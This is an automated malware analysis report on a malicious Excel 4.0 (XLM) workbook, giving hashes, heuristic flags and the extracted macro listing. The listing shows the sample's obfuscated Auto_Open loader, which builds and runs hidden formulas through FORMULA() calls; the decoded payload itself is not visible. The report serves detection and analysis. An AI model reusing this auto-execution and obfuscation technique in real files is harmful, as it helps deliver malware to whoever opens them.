Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5b5333c16a78d3e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:32:25 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: acf36f76ba9238de5d28e9569a605cbc SHA-1: 4b2e513432bb7df0ceb427a0d0e443581594af26 SHA-256: f5b5333c16a78d3eaafc6d41e2b30aa8c765726b3941567fb08f7e7e2780f6c7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6448 bytes
SHA-256: df508a0e37e03034795ca01306aa178fa3794f5919ff9c085ce92f6ce57664f9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  gkCT
' 0018     22 LABEL : Cell Value, String Constant - acGKyUX len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H150 
' 0018     23 LABEL : Cell Value, String Constant - BldGvYfk len=0 
' 0018     24 LABEL : Cell Value, String Constant - ddzvcjkxX len=0 
' 0018     27 LABEL : Cell Value, String Constant - eBMUGTkCAMAh len=0 
' 0018     25 LABEL : Cell Value, String Constant - Flnseeqvfy len=0 
' 0018     23 LABEL : Cell Value, String Constant - JcpDQDUX len=0 
' 0018     27 LABEL : Cell Value, String Constant - ldvATRBOIEVY len=0 
' 0018     26 LABEL : Cell Value, String Constant - mvAxsOXkUJe len=0 
' 0018     21 LABEL : Cell Value, String Constant - MyhTfO len=0 
' 0018     22 LABEL : Cell Value, String Constant - MytHUVo len=0 
' 0018     24 LABEL : Cell Value, String Constant - NCfepsHYo len=0 
' 0018     27 LABEL : Cell Value, String Constant - rAVZzEnaSVxF len=0 
' 0018     23 LABEL : Cell Value, String Constant - SBiVUSJA len=0 
' 0018     22 LABEL : Cell Value, String Constant - TaxTzWw len=0 
' 0018     23 LABEL : Cell Value, String Constant - tekQVHzG len=0 
' 0018     27 LABEL : Cell Value, String Constant - tgYAoLzpvQcz len=0 
' 0018     24 LABEL : Cell Value, String Constant - tqrBnJvlf len=0 
' 0018     21 LABEL : Cell Value, String Constant - vxffWK len=0 
' 0018     27 LABEL : Cell Value, String Constant - wwACUIidzHvM len=0 
' 0018     27 LABEL : Cell Value, String Constant - zJfqUCvTmxjs len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  gkCT,H63,"SET.NAME("Flnseeqvfy",VALUE("0"))",""
'  gkCT,H67,"SET.NAME("tgYAoLzpvQcz",Flnseeqvfy)",""
'  gkCT,H70,"SET.NAME("acGKyUX",Flnseeqvfy)",""
'  gkCT,H74,"SET.NAME("mvAxsOXkUJe",COUNTA(vxffWK))",""
'  gkCT,H76,"SET.NAME("MyhTfO",COUNTA(eBMUGTkCAMAh))",""
'  gkCT,H80,[],""
'  gkCT,H83,"SET.NAME("TaxTzWw","")",""
'  gkCT,H87,"tgYAoLzpvQcz",""
'  gkCT,H89,"SET.NAME("zJfqUCvTmxjs",HLOOKUP("*",vxffWK,tgYAoLzpvQcz,FALSE))",""
'  gkCT,H93,"tqrBnJvlf",""
'  gkCT,H98,"SET.NAME("SBiVUSJA",Flnseeqvfy)",""
'  gkCT,H100,[],""
'  gkCT,H105,"SBiVUSJA",""
'  gkCT,H107,"tekQVHzG",""
'  gkCT,H112,"wwACUIidzHvM",""
'  gkCT,H117,"ldvATRBOIEVY",""
'  gkCT,H121,"SET.NAME("NCfepsHYo",VALUE(HLOOKUP("*",eBMUGTkCAMAh,ldvATRBOIEVY,FALSE)))",""
'  gkCT,H124,"JcpDQDUX",""
'  gkCT,H127,"TaxTzWw",""
'  gkCT,H132,"acGKyUX",""
'  gkCT,H135,NEXT(),""
'  gkCT,H138,"MytHUVo",""
'  gkCT,H141,"SET.NAME("f",INT(T(FORMULA(T(TaxTzWw)&"",""&T(MytHUVo)))))",""
'  gkCT,H143,"rAVZzEnaSVxF",""
'  gkCT,H145,NEXT(),""
'  gkCT,H147,RETURN(),""
'  gkCT,H176,"SET.NAME("BldGvYfk",H63)",""
'  gkCT,H181,"vxffWK",""
'  gkCT,H186,"SET.NAME("eBMUGTkCAMAh",R70C15)",""
'  gkCT,H189,"SET.NAME("rAVZzEnaSVxF",196)",""
'  gkCT,H191,"SET.NAME("ddzvcjkxX",8)",""
'  gkCT,H195,BldGvYfk(),""
'  gkCT,H196,HALT(),""

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